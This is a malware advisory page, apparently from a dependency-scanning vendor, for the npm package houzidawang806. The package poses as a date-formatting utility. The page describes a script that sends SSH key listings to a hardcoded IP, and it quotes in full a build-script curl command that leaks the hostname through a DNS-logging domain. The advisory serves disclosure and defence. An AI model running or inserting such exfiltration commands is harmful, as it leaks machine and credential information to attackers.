Malicious code in houzidawang806 (npm)
MAL-2026-5729 · GHSA-7gf8-h22p-4qr4
Published · Modified
Dependency scanning
Check whether houzidawang806 is in your codebase
Corgea flags malicious and compromised dependencies with reachability analysis, so you fix the packages that actually run in your application instead of working through the whole lockfile.
Description
__
Source: amazon-inspector (2dbf603db6d0a3434c6c417dd460f26d08b9e230c03926f05987bb3841d3c72b)
Package self-describes as 'A simple date formatting utility' but ships two distinct attacker primitives. (1) postinstall.js enumerates ~/.ssh/ for *.pub files and POSTs the listing along with os.userInfo().username and platform to the hardcoded bare-IP endpoint https://124.221.154.135:443/post. The file's comments explicitly label sections as targets and C2 server in Chinese ('窃取目标', 'C2 服务器', '模拟外传数据到攻击者服务器 (C2)'). The script is shipped in the tarball but not wired into package.json lifecycle hooks, so it does not auto-execute on npm install; however, any tooling or developer that runs the shipped postinstall.js will exfiltrate SSH key listings to the attacker. (2) package.json scripts.build runs curl http://$(hostname).ba6511da.log.dnslog.pp.ua, embedding the installer's hostname as a subdomain of a public DNS-logging service used for out-of-band exfiltration. Running npm run build leaks the machine hostname to the attacker via DNS. The doc/behavior mismatch (a date-formatting library has no need for SSH directory enumeration, hostname recon, or hardcoded IP callbacks) plus the explicit C2-labeled comments make malicious intent unambiguous.
Source: ghsa-malware (12fa3968a1f2dfdbe4b4e90edd156f70e5423fd33ae4a1e542fd68f3a4f8351f)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Source: ossf-package-analysis (ed3081af88967b6d88637c2d7f15cde7050674bab1536c57bdf465737a6f6cf0)
The OpenSSF Package Analysis project identified 'houzidawang806' @ 1.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
References
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.0.7
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.0.9
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.0.3
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.0.4
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.0.2
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.0.1
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.0.6
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.0.5
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.1.2
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.1.3
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.1.1
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.1.4
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.0.0
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.1.5
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.1.7
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.1.8
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.1.0
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.2.4
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.2.5
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.2.0
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.2.6
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.2.1
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.2.3
- ADVISORY https://github.com/advisories/GHSA-7gf8-h22p-4qr4
- PACKAGE https://www.npmjs.com/package/houzidawang806/v/1.1.6
Ready to move
Start Securing
Free, no credit card | First findings in minutes